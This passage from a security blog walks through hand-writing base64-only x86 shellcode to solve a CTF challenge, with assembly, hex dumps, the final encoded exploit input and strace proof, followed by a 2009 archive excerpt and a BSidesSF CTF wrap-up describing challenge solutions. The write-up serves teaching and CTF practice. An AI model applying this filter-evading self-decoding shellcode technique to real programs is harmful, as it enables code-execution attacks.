    xor eax, 0x41414139 ; eax -> 0x7F
    push eax
    pop edx ; edx -> 0x7F
    
    ; Now that edx is 0x7F, we can simply increment it
    inc edx ; edx -> 0x80
    

    That works out to:

    00000000  68 46 41 41 41 58 35 39  41 41 41 50 5a 42        |hFAAAX59AAAPZB|
    

    So far so good! Now we can do our usual xor to set that one bit in our decoded code:

    xor [ecx+0x41], edx
    

    This sets the MSB of whatever ecx+0x41 (our current instruction) is.

    If we were decoding a single bit at a time, we'd be done. Unfortunately, we aren't so lucky - we're working in 32-bit (4-byte) chunks.

    Setting edx to 0x00008000, 0x00800000, or 0x80000000

    So how do we set edx to 0x00008000, 0x00800000, or 0x80000000 without having a shift instruction?

    This is where I introduce a pretty ugly hack. In effect, we use some stack shenanigans to perform a poor-man's shift. This won't work on most non-x86/x64 systems, because they require a word-aligned stack (I was actually a little surprised it worked on x86, to be honest!).

    Let's say we want 0x00008000. Let's just look at the code:

    ; Set all registers to 0 so we start with a clean slate, using the popad strategy from earlier (we need a register that's reliably 0)
    push 0x41414141
    pop eax
    xor eax, 0x41414141
    push eax
    push eax
    push eax
    push eax
    push eax
    push eax
    push eax
    push eax
    popad
    
    ; Set edx to 0x00000080, just like before
    push 0x41414146
    pop eax
    xor eax, 0x41414139 ; eax -> 0x7F
    push eax
    pop edx ; edx -> 0x7F
    inc edx ; edx -> 0x80
    
    ; Push edi (which, like all registers, is 0) onto the stack
    push edi ; 0x00000000
    
    ; Push edx onto the stack
    push edx
    
    ; Move esp by 1 byte - note that this won't work on many architectures, but x86/x64 are fine with a misaligned stack
    dec esp
    
    ; Get edx back, shifted by one byte
    pop edx
    
    ; Fix the stack (not <em>really</em> necessary, but it's nice to do it
    inc esp
    
    ; Add a debug breakpoint so we can inspect the value
    int 3
    

    And we can use gdb to prove it works with the same trick as before:

    $ nasm -o file file.asm
    $ rm -f core
    $ ulimit -c unlimited
    $ ./run_raw_code ./file
    allocated 41 bytes of executable memory at: 0x41410000
    fish: “~/projects/ctf-2017-release/for...” terminated by signal SIGTRAP (Trace or breakpoint trap)
    $ gdb ./run_raw_code ./core
    Program terminated with signal SIGTRAP, Trace/breakpoint trap.
    #0  0x41410029 in ?? ()
    (gdb) print/x $edx
    $1 = 0x8000
    

    We can do basically the exact same thing to set the third byte:

    push edi ; 0x00000000
    push edx
    dec esp
    dec esp ; <-- New
    pop edx
    inc esp
    inc esp ; <-- New
    

    And the fourth:

    push edi ; 0x00000000
    push edx
    dec esp
    dec esp
    dec esp ; <-- New
    pop edx
    inc esp
    inc esp
    inc esp ; <-- New
    

    Putting it all together

    You can take a look at how I do this in my final code. It's going to be a little different, because instead of using our xor trick to set edx to 0x7F, I instead push 0x7a / pop edx / increment 6 times. The only reason is that I didn't think of the xor trick when I was writing the original code, and I don't want to mess with it now.

    But, we're going to do it the hard way: by hand! I'm literally writing this code as I write the blog (and, message from the future: it worked on the second try :) ).

    Let's just stick with our simple exit-with-0x41414141-status shellcode:

    mov eax, 0x01 ; Syscall 1 = sys_exit
    mov ebx, 0x41414141 ; First (and only) parameter: the exit code
    int 0x80
    

    Which assembles to this, which is conveniently already a multiple of 4 bytes so no padding required:

    00000000  b8 01 00 00 00 bb 41 41  41 41 cd 80              |......AAAA..|
    

    Since we're doing it by hand, let's extract all the MSBs into a separate string (remember, this is all done programmatically usually):

    00000000  38 01 00 00 00 3b 41 41  41 41 4d 00              |......AAAA..|
    00000000  80 00 00 00 00 80 00 00  00 00 80 80              |......AAAA..|
    

    If you xor those two strings together, you'll get the original string back.

    First, let's worry about the first string. It's handled exactly the way we did the last example. We start by getting the three 32-bit values as little endian values:

    • 38 01 00 00 -> 0x00000138
    • 00 3b 41 41 -> 0x41413b00
    • 41 41 4d 00 -> 0x004d4141

    And then find the xor pairs to generate them just like before:

    irb(main):061:0> puts '0x%08x ^ 0x%08x' % get_xor_values_32(0x00000138)
    0x41414241 ^ 0x41414379
    
    irb(main):062:0> puts '0x%08x ^ 0x%08x' % get_xor_values_32(0x41413b00)
    0x6a6a4141 ^ 0x2b2b7a41
    
    irb(main):063:0> puts '0x%08x ^ 0x%08x' % get_xor_values_32(0x004d4141)
    0x41626a6a ^ 0x412f2b2b
    

    But here's where the twist comes: let's take the MSB string above, and also convert that to little-endian integers:

    • 80 00 00 00 -> 0x00000080
    • 00 80 00 00 -> 0x00008000
    • 00 00 80 80 -> 0x80800000

    Now, let's try writing our decoder stub just like before, except that after decoding the MSB-free vale, we're going to separately inject the MSBs into the code!

    ; Set all registers to 0 so we start with a clean slate, using the popad strategy from earlier
    push 0x41414141
    pop eax
    xor eax, 0x41414141
    push eax
    push eax
    push eax
    push eax
    push eax
    push eax
    push eax
    push eax
    popad
    
    ; Set ecx to 0x41410100 (0x41 bytes less than the start of the encoded data)
    push 0x6a6a4241
    pop eax
    xor eax, 0x2b2b4341 ; 0x41410100
    push eax
    pop ecx
    
    ; xor the first pair
    push 0x41414241
    pop edx
    xor [ecx+0x41], edx
    
    ; Now we need to xor with 0x00000080, so let's load it into edx
    push 0x41414146
    pop eax
    xor eax, 0x41414139 ; 0x0000007F
    push eax
    pop edx
    inc edx ; edx is now 0x00000080
    xor [ecx+0x41], edx
    
    ; Move to the next value
    inc ecx
    inc ecx
    inc ecx
    inc ecx
    
    ; xor the second pair
    push 0x6a6a4141
    pop edx
    xor [ecx+0x41], edx
    
    ; Now we need to xor with 0x00008000
    push 0x41414146
    pop eax
    xor eax, 0x41414139 ; 0x0000007F
    push eax
    pop edx
    inc edx ; edx is now 0x00000080
    
    push edi ; 0x00000000
    push edx
    dec esp
    pop edx ; edx is now 0x00008000
    inc esp
    xor [ecx+0x41], edx
    
    ; Move to the next value
    inc ecx
    inc ecx
    inc ecx
    inc ecx
    
    ; xor the third pair
    push 0x41626a6a
    pop edx
    xor [ecx+0x41], edx
    
    ; Now we need to xor with 0x80800000; we'll do it in two operations, with 0x00800000 first
    push 0x41414146
    pop eax
    xor eax, 0x41414139 ; 0x0000007F
    push eax
    pop edx
    inc edx ; edx is now 0x00000080
    push edi ; 0x00000000
    push edx
    dec esp
    dec esp
    pop edx ; edx is now 0x00800000
    inc esp
    inc esp
    xor [ecx+0x41], edx
    
    ; And then the 0x80000000
    push 0x41414146
    pop eax
    xor eax, 0x41414139 ; 0x0000007F
    push eax
    pop edx
    inc edx ; edx is now 0x00000080
    push edi ; 0x00000000
    push edx
    dec esp
    dec esp
    dec esp
    pop edx ; edx is now 0x00800000
    inc esp
    inc esp
    inc esp
    xor [ecx+0x41], edx
    
    ; Padding (calculated based on the length above, subtracted from 0x141)
    db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
    db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
    db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
    db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
    db 'AAAAAAAAAAAAAAAAAAAA'
    
    ; The second halves of the pairs (ie, the encoded data; this is where the decoded data will end up by the time execution gets here)
    dd 0x41414379
    dd 0x2b2b7a41
    dd 0x412f2b2b
    

    And that's it! Let's try it out! The code leading up to the padding assembles to:

    00000000  68 41 41 41 41 58 35 41  41 41 41 50 50 50 50 50  |hAAAAX5AAAAPPPPP|
    00000010  50 50 50 61 68 41 42 6a  6a 58 35 41 43 2b 2b 50  |PPPahABjjX5AC++P|
    00000020  59 68 41 42 41 41 5a 31  51 41 68 46 41 41 41 58  |YhABAAZ1QAhFAAAX|
    00000030  35 39 41 41 41 50 5a 42  31 51 41 41 41 41 41 68  |59AAAPZB1QAAAAAh|
    00000040  41 41 6a 6a 5a 31 51 41  68 46 41 41 41 58 35 39  |AAjjZ1QAhFAAAX59|
    00000050  41 41 41 50 5a 42 57 52  4c 5a 44 31 51 41 41 41  |AAAPZBWRLZD1QAAA|
    00000060  41 41 68 6a 6a 62 41 5a  31 51 41 68 46 41 41 41  |AAhjjbAZ1QAhFAAA|
    00000070  58 35 39 41 41 41 50 5a  42 57 52 4c 4c 5a 44 44  |X59AAAPZBWRLLZDD|
    00000080  31 51 41 68 46 41 41 41  58 35 39 41 41 41 50 5a  |1QAhFAAAX59AAAPZ|
    00000090  42 57 52 4c 4c 4c 5a 44  44 44 31 51 41           |BWRLLLZDDD1QA|
    

    We can verify it's all base64 by eyeballing it. We can also determine that it's 0x9d bytes long, which means to get to 0x141 we need to pad it with 0xa4 bytes (already included above) before the encoded data.

    We can dump allll that code into a file, and run it with run_raw_code (don't forget to apply the patch from earlier to change the base address to 0x41410000, and don't forget to compile with -m32 for 32-bit mode):

    $ nasm -o file file.asm
    $ strace ./run_raw_code ./file
    read(3, "hAAAAX5AAAAPPPPPPPPahABjjX5AC++P"..., 333) = 333
    exit(1094795585)                        = ?
    +++ exited with 65 +++
    

    It works! And it only took me two tries (I missed the 'inc ecx' lines the first time :) ).

    I realize that it's a bit inefficient to encode 3 lines into like 100, but that's the cost of having a limited character set!

    Solving the level

    Bringing it back to the actual challenge...

    Now that we have working base 64 code, the rest is pretty simple. Since the app encodes the base64 for us, we have to take what we have and decode it first, to get the string that would generate the base64 we want.

    Because base64 works in blocks and has padding, we're going to append a few meaningless bytes to the end so that if anything gets messed up by being a partial block, they will.

    Here's the full "exploit", assembled:

    hAAAAX5AAAAPPPPPPPPahABjjX5AC++PYhABAAZ1QAhFAAAX59AAAPZB1QAAAAAhAAjjZ1QAhFAAAX59AAAPZBWRLZD1QAAAAAhjjbAZ1QAhFAAAX59AAAPZBWRLLZDD1QAhFAAAX59AAAPZBWRLLLZDDD1QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAyCAAAz++++/A

    We're going to add a few 'A's to the end for padding (the character we choose is meaningless), and run it through base64 -d (adding '='s to the end until we stop getting decoding errors):

    $ echo 'hAAAAX5AAAAPPPPPPPPahABjjX5AC++PYhABAAZ1QAhFAAAX59AAAPZB1QAAAAAhAAjjZ1QAhFAAAX59AAAPZBWRLZD1QAAAAAhjjbAZ1QAhFAAAX59AAAPZBWRLLZDD1QAhFAAAX59AAAPZBWRLLLZDDD1QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAyCAAAz++++/AAAAAAA=' | base64 -d | hexdump -Cv
    00000000  84 00 00 01 7e 40 00 00  0f 3c f3 cf 3c f3 da 84  |....~@...<..<...|
    00000010  00 63 8d 7e 40 0b ef 8f  62 10 01 00 06 75 40 08  |.c.~@...b....u@.|
    00000020  45 00 00 17 e7 d0 00 00  f6 41 d5 00 00 00 00 21  |E........A.....!|
    00000030  00 08 e3 67 54 00 84 50  00 01 7e 7d 00 00 0f 64  |...gT..P..~}...d|
    00000040  15 91 2d 90 f5 40 00 00  00 08 63 8d b0 19 d5 00  |..-..@....c.....|
    00000050  21 14 00 00 5f 9f 40 00  03 d9 05 64 4b 2d 90 c3  |!..._.@....dK-..|
    00000060  d5 00 21 14 00 00 5f 9f  40 00 03 d9 05 64 4b 2c  |..!..._.@....dK,|
    00000070  b6 43 0c 3d 50 00 00 00  00 00 00 00 00 00 00 00  |.C.=P...........|
    00000080  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
    00000090  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
    000000a0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
    000000b0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
    000000c0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
    000000d0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
    000000e0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
    000000f0  03 20 80 00 0c fe fb ef  bf 00 00 00 00 00        |. ............|
    

    Let's convert that into a string that we can use on the commandline by chaining together a bunch of shell commands:

    echo -ne 'hAAAAX5AAAAPPPPPPPPahABjjX5AC++PYhABAAZ1QAhFAAAX59AAAPZB1QAAAAAhAAjjZ1QAhFAAAX59AAAPZBWRLZD1QAAAAAhjjbAZ1QAhFAAAX59AAAPZBWRLLZDD1QAhFAAAX59AAAPZBWRLLLZDDD1QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAyCAAAz++++/AAAAAAA=' | base64 -d | xxd -g1 file | cut -b10-57 | tr -d '\n' | sed 's/ /\\x/g'
    \x84\x00\x00\x01\x7e\x40\x00\x00\x0f\x3c\xf3\xcf\x3c\xf3\xda\x84\x00\x63\x8d\x7e\x40\x0b\xef\x8f\x62\x10\x01\x00\x06\x75\x40\x08\x45\x00\x00\x17\xe7\xd0\x00\x00\xf6\x41\xd5\x00\x00\x00\x00\x21\x00\x08\xe3\x67\x54\x00\x84\x50\x00\x01\x7e\x7d\x00\x00\x0f\x64\x15\x91\x2d\x90\xf5\x40\x00\x00\x00\x08\x63\x8d\xb0\x19\xd5\x00\x21\x14\x00\x00\x5f\x9f\x40\x00\x03\xd9\x05\x64\x4b\x2d\x90\xc3\xd5\x00\x21\x14\x00\x00\x5f\x9f\x40\x00\x03\xd9\x05\x64\x4b\x2c\xb6\x43\x0c\x3d\x50\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x20\x80\x00\x0c\xfe\xfb\xef\xbf\x00\x00\x00\x00\x00
    

    And, finally, feed all that into b-64-b-tuff:

    $ echo -ne '\x84\x00\x00\x01\x7e\x40\x00\x00\x0f\x3c\xf3\xcf\x3c\xf3\xda\x84\x00\x63\x8d\x7e\x40\x0b\xef\x8f\x62\x10\x01\x00\x06\x75\x40\x08\x45\x00\x00\x17\xe7\xd0\x00\x00\xf6\x41\xd5\x00\x00\x00\x00\x21\x00\x08\xe3\x67\x54\x00\x84\x50\x00\x01\x7e\x7d\x00\x00\x0f\x64\x15\x91\x2d\x90\xf5\x40\x00\x00\x00\x08\x63\x8d\xb0\x19\xd5\x00\x21\x14\x00\x00\x5f\x9f\x40\x00\x03\xd9\x05\x64\x4b\x2d\x90\xc3\xd5\x00\x21\x14\x00\x00\x5f\x9f\x40\x00\x03\xd9\x05\x64\x4b\x2c\xb6\x43\x0c\x3d\x50\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x20\x80\x00\x0c\xfe\xfb\xef\xbf\x00\x00\x00\x00\x00' | strace ./b-64-b-tuff
    read(0, "\204\0\0\1~@\0\0\17<\363\317<\363\332\204\0c\215~@\v\357\217b\20\1\0\6u@\10"..., 4096) = 254
    write(1, "Read 254 bytes!\n", 16Read 254 bytes!
    )       = 16
    write(1, "hAAAAX5AAAAPPPPPPPPahABjjX5AC++P"..., 340hAAAAX5AAAAPPPPPPPPahABjjX5AC++PYhABAAZ1QAhFAAAX59AAAPZB1QAAAAAhAAjjZ1QAhFAAAX59AAAPZBWRLZD1QAAAAAhjjbAZ1QAhFAAAX59AAAPZBWRLLZDD1QAhFAAAX59AAAPZBWRLLLZDDD1QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAyCAAAz++++/AAAAAAA=) = 340
    write(1, "\n", 1
    )                       = 1
    exit(1094795585)                        = ?
    +++ exited with 65 +++
    

    And, sure enough, it exited with the status that we wanted! Now that we've encoded 12 bytes of shellcode, we can encode any amount of arbitrary code that we choose to!

    Summary

    So that, ladies and gentlemen and everyone else, is how to encode some simple shellcode into base64 by hand. My solution does almost exactly those steps, but in an automated fashion. I also found a few shortcuts while writing the blog that aren't included in that code.

    To summarize:

    • Pad the input to a multiple of 4 bytes
    • Break the input up into 4-byte blocks, and find an xor pair that generates each value
    • Set ecx to a value that's 0x41 bits before the encoded payload, which is half of the xor pairs
    • Put the other half the xor pair in-line, loaded into edx and xor'd with the encoded payload
    • If there are any MSB bits set, set edx to 0x80 and use the stack to shift them into the right place to be inserted with a xor
    • After all the xors, add padding that's base64-compatible, but is effectively a no-op, to bridge between the decoder and the encoded payload
    • End with the encoded stub (second half of the xor pairs)

    When the code runs, it xors each pair, and writes it in-line to where the encoded value was. It sets the MSB bits as needed. The padding runs, which is an effective no-op, then finally the freshly decoded code runs.

    It's complex, but hopefully this blog helps explain it!

    One thought on “Solving b-64-b-tuff: writing base64 and alphanumeric shellcode

    1. Reply

      Grazfather

      Cool, I like your methodical approach. I did mine similarly, but more back and forth (e.g. I had to keep adding padding in the middle so that the bytes I needed to change were at least 0x30 bytes from the address I had in ecx.

      To do the top bits I had a different approach: I just decremented to put 0xFFFFFFFF into edx, and then just xored that. That flips all bits, but that's totally fine, I just did a byte-wise xor (instead of dword) for the few bytes I needed it applied on.

    Leave a Reply

    Your email address will not be published.

     

    #####EOF##### February » 2009 » SkullSecurity

    How Pwdump6 works, and how Nmap can do it

    Today I want to discuss how the pwdump6 and fgdump tools work, in detail, and how I was able to integrate pwdump6 into my Nmap scripts. Is this integration useful? Maybe or maybe not, but it was definitely an interesting problem.

    More password dictionaries

    Last month, I posted about some password dictionaries I've collected. Well, thanks to a hacker who compromised PHPBB's site, I added another. There's a big caveat to this one, though -- these passwords are apparently based on ones that were cracked by the hacker, so they're only an accurate representation of weak passwords.

    #####EOF##### BSidesSF CTF wrap-up » SkullSecurity


    BSidesSF CTF wrap-up

    Welcome!

    While this is technically a CTF writeup, like I frequently do, this one is going to be a bit backwards: this is for a CTF I ran, instead of one I played! I've gotta say, it's been a little while since I played in a CTF, but I had a really good time running the BSidesSF CTF! I just wanted to thank the other organizers - in alphabetical order - @bmenrigh, @cornflakesavage, @itsc0rg1, and @matir. I couldn't have done it without you folks!

    BSidesSF CTF was a capture-the-flag challenge that ran in parallel with BSides San Francisco. It was designed to be easy/intermediate level, but we definitely had a few hair-pulling challenges.


    The goal of this post is to explain a little bit of the motivation behind the challenges I wrote, and to give basic solutions. It's not going to have a step-by-step walkthrough of each challenge - though you might find that in the writeups list - but, rather, I'll cover what I intended to teach, and some interesting (to me :) ) trivia.

    If you want to see the source of the challenges, our notes, and mostly everything else we generated as part of creating this CTF, you can find them here:

    • Original sourcecode on github
    • Google Drive notes (note that that's not the complete set of notes - some stuff (like comments from our meetings, brainstorming docs, etc) are a little too private, and contain ideas for future challenges :) )

    Part of my goal for releasing all of our source + planning documents + deployment files is to a) show others how a CTF can be run, and b) encourage other CTF developers to follow suit and release their stuff!

    As of the writing, the scoreboard and challenges are still online. We plan to keep them around for a couple more days before finally shutting them down.

    Infrastructure

    The rest of my team can most definitely confirm this: I'm not an infrastructure kinda guy. I was happy to write challenges, and relied on others for infrastructure bits. The only thing I did was write a Dockerfile for each of my challenges.

    As such, I'll defer to my team on this part. I'm hoping that others on my team will post more details about the configurations, which I'll share on my Twitter feed. You can also find all the Dockerfiles and deployment scripts on our Github repository.

    What I do know is, we used:

    • Googles CTF Scoreboard running on AppEngine for our scoreboard
    • Dockerfiles for each challenge that had an online component, and Docker for testing
    • docker-compose for testing
    • Kubernetes for deployment
    • Google Container Engine for running all of that in The Cloud

    As I said, all the configurations are on Github. The infrastructure worked great, though, we had absolutely no traffic or load problems, and only very minor other problems.

    I'm also super excited that Google graciously sponsored all of our Google Cloud expenses! The CTF weekend cost us roughly $500 - $600, and as of now we've spent a little over $800.

    Players

    Just a few numbers:

    • We had 728 teams register
    • We had 531 teams score at least one point
    • We had 354 teams score at least 100 points
    • We had 23 teams submit at least one on-site flag (presumably, that many teams played on-site)

    Also, the top-10 teams were:

    • dcua :: 6773
    • OpenToAll :: 5178
    • scryptos :: 5093
    • Dragon Sector :: 4877
    • Antichat :: 4877
    • p4 :: 4777
    • khack40 :: 4677
    • squareroots :: 4643
    • ASIS :: 4427
    • Ox002147 :: 4397

    The top-10 teams on-site were:

    • OpenToAll :: 5178
    • ▣ :: 3548
    • hash_slinging_hackers :: 3278
    • NeverTry :: 2912
    • 0x41434142 :: 2668
    • DevOps Solution :: 1823
    • Shadow Cats :: 1532
    • HOW BOU DAH :: 1448
    • Newbie :: 762
    • CTYS :: 694

    The full list can be found on our CTFTime.org page.

    On-site challenges

    We had three on-site challenges (none of them created by me):

    on-sight [1]

    This was a one-point challenge designed simply to determine who's eligible for on-site prizes. We had to flag taped to the wall. Not super interesting. :)

    (Speaking of prizes, I want to give a shout out to Synack for providing some prizes, and in particular to working with us on a fairly complex set-up for dealing with said prizes. :)

    Shared Secrets [250]

    The Shared Secrets challenge was a last-minute idea. We wanted more on-site challenges, and others on the CTF organizers team came up with Shamir Shared Secret Scheme. We posted QR Codes containing pieces of a secret around the venue.

    It was a "3 of 6" scheme, so only three were actually needed to get the secret.

    The quotes on top of each image try to push people towards either "Shamir" or "ACM 22(11)". My favourite was, "Hi, hi, howdy, howdy, hi, hi! While everyone is minus, you could call me multiply", which is a line from a Shamir (the rapper) song. I did not determine if Shamir the rapper and Shamir the cryptographer were the same person. :)

    Locker [150]

    Locker is really cool! We basically set up a padlock with an Arduino and a receipt printer. After successfully picking the lock, you'd get a one-time-use flag printed out by the printer.

    (We had some problems with submitting the flag early-on, because we forgot to build the database for the one-time-use flags, but got that resolved quickly!)

    @bmenrigh developed the lock post, which detected the lock opening, and @matir developed the software for the receipt printer.

    My challenges

    I'm not going to go over others' challenges, other than the on-site ones I already covered, I don't have the insight to make comments on them. However, I do want to cover all my challenges. Not a ton of detail, but enough to understand the context. I'll likely blog about a couple of them specifically later.

    I probably don't need to say it, but: challenge spoilers coming!

    'easy' challenges [10-40]

    I wrote a series of what I called 'easy' challenges. They don't really have a trick to them, but teach a fundamental concept necessary to do CTFs. They're also a teaching tool that I plan to use for years to come. :)

    easy [10] - a couldn't-be-easier reversing challenge. Asks for a password then prints out a flag. You can get both the password and the flag by running strings on the binary.

    easyauth [30] - a web challenge that sets a cookie, and tells you it's setting a cookie. The cookie is simply 'username=guest'. If you change the cookie to 'username=administrator', you're given the flag. This is to force people to learn how to edit cookies in their browser.

    easyshell [30] and easyshell64 [30] - these are both simple programs where you can send it shellcode, and they run it. It requires the player to figure out what shellcode is and how to use it (eg, from msfvenom or an online shellcode database). There's both a 32- and a 64-bit version, as well.

    easyshell and easyshell64 are also good ways to test shellcode, and a place where people can grab libc binaries, if needed.

    And finally, easycap [40] is a simple packet capture, where a flag is sent across the network one packet at a time. I didn't keep my generator, but it's essentially a ruby script that would do a s.send() on each byte of a string.

    skipper [75] and skipper2 [200]

    Now, we're starting to get into some of the levels that require some amount of specialized knowledge. I wrote skipper and skipper2 for an internal company CTF a long time ago, and have kept them around as useful teaching tools.

    One of the first thing I ever did in reverse engineering was write a registration bypass for some icon-maker program on 16-bit DOS using the debug.com command and some dumb luck. Something where you had to find the "Sorry, your registration code is invalid" message and bypass it. I wanted to simulate this, and that's where these came from.

    With skipper, you can bypass the checks by just changing the program counter ($eip or $rip) or nop'ing out the checks. skipper2, however, incorporates the results from the checks into the final flag, so they can't be skipped quite so easily. Rather, you have to stop before each check and load the proper value into memory to get the flag. This simulates situations I've legitimately run into while writing keygens.

    hashecute [100]

    When I originally conceived of hashecute, I had imagined it being fairly difficult. The idea is, you can send any shellcode you want to the server, but you have to prepend the MD5 of the shellcode to it, and the prepended shellcode runs as well. That's gotta be hard, right? Making an MD5 that's executable??

    Except it's not, really. You just need to make sure your checksum starts with a short-jump to the end of the checksum (or to a NOP sled if you want to do it even faster!). That's \xeb\x0e (for jmp) or \e9\x0e (for call), as the simplest examples (there are practically infinite others). And it's really easy to do that by just appending crap to the end of the shellcode: you can see that in my solution.

    It does, however, teach a little critical thinking to somebody who might not be super accustomed to dealing with machine code, so I intend to continue using this one as a teaching tool. :)

    b-64-b-tuff [100]

    b-64-b-tuff has the dual-honour of both having the stupidest name and being the biggest waste of my own time .:)

    So, I came up with the idea of writing this challenge during a conversation with a friend: I said that I know people have written shellcode encoders for unicode and other stuff, but nobody had ever written one for Base64. We should make that a challenge!

    So I spent a couple minutes writing the challenge. It's mostly just Base64 code from StackOverflow or something, and the rest is the same skeleton as easyshell/easyshell64.

    Then I spent a few hours writing a pure Base64 shellcode encoder. I intend to do a future blog 100% about that process, because I think it's actually a kind of interesting problem. I eventually got to the point where it worked perfectly, and I was happy that I could prove that this was, indeed, solveable! So I gave it a stupid name and sent out my PR.

    That's when I think @matir said, "isn't Base64 just a superset of alphanumeric?".

    Yes. Yes it is. I could have used any off-the-shelf alphanumeric shellcode encoder such as msfvenom. D'OH!

    But, the process was really interesting, and I do plan to write about it, so it's not a total loss. And I know at least one player did the same (hi @Grazfather! [he graciously shared his code where he encoded it all by hand]), so I feel good about that :-D

    in-plain-sight [100]

    I like to joke that I only write challenges to drive traffic to my blog. This is sort of the opposite: it rewards teams that read my blog. :)

    A few months ago, while writing the delphi-status challenge (more on that one later), I realized that when encrypting data using a padding oracle, the last block can be arbitrarily chosen! I wrote about it in an off-handed sort of way at that time.

    Shortly after, I realized that it could make a neat CTF challenge, and thus was born in-plain-site.

    It's kind of a silly little challenge. Like one of those puzzles you get in riddle books. The ciphertext was literally the string "HiddenCiphertext", which I tell you in the description, but of course you probably wouldn't notice that. When you do, it's a groaner. :)

    Fun story: I had a guy from the team OpenToAll bring up the blog before we released the challenge, and mention how he was looking for a challenge involving plaintext ciphertext. I had to resist laughing, because I knew it was coming!

    i-am-the-shortest [200]

    This was a silly little level, which once again forces people to get shellcode. You're allowed to send up to 5 bytes of shellcode to the server, where the flag is loaded into memory, and the server executes them.

    Obviously, 5 bytes isn't enough to do a proper syscall, so you have to be creative. It's more of a puzzle challenge than anything.

    The trick is, I used a bunch of in-line assembly when developing the challenge (see the original source, it isn't pretty!) that ensures that the registers are basically set up to make a syscall - all you have to do it move esi (a pointer to the flag) into ecx. I later discovered that you can "link" variables to specific registers in gcc.

    The intended method was for people to send \xcc for the shellcode (or similar) and to investigate the registers, determining what the state was, and then to use shellcode along the lines of xchg esi, ecx / int 0x80. And that's what most solvers I talked to did.

    One fun thing: eax (which is the syscall number when a syscall is made) is set to len(shellcode) (the return value of read()). Since sys_write, the syscall you want to make, is number 4, you can easily trigger it by sending 4 bytes. If you send 5 bytes, it makes the wrong call.

    Several of the solutions I saw had a dec eax instruction in them, however! The irony is, you only need that instruction because you have it. If you had just left it off, eax would already be 4!

    delphi-status [250]

    delphi-status was another of those levels where I spent way more time on the solution than on the challenge.

    It seems common enough to see tools to decrypt data using a padding oracle, but not super common to see challenges where you have to encrypt data with a padding oracle. So I decided to create a challenge where you have to encrypt arbitrary data!

    The original goal was to make somebody write a padding oracle encryptor tool for me. That seemed like a good idea!

    But, I wanted to make sure this was do-able, and I was just generally curious, so I wrote it myself. Then I updated my tool Poracle to support encryption, and wrote a blog about it. If there wasn't a tool available that could encrypt arbitrary data with a padding oracle, I was going to hold back on releasing the code. But tools do exist, so I just released mine.

    It turns out, there was a simpler solution: you could simply xor-out the data from the block when it's only one block, and xor-in arbitrary data. I don't have exact details, but I know it works. Basically, it's a classic stream-cipher-style attack.

    And that just demonstrates the Cryptographic Doom Principle :)

    ximage [300]

    ximage might be my favourite level. Some time ago - possibly years - I was chatting with a friend, and steganography came up. I wondered if it was possible to create an image where the very pixels were executable!?

    I went home wondering if that was possible, and started trying to think of 3-byte NOP-equivalent instructions. I managed to think of a large number of work-able combinations, including ones that modified registers I don't care about, plus combinations of 1- and 2-byte NOP-equivalents. By the end, I could reasonably do most colours in an image, including black (though it was slightly greenish) and white. You can find the code here.

    (I got totally nerdsniped while writing this, and just spent a couple days trying to find every 3-byte NOP equivalent to see how much I can improve this!)

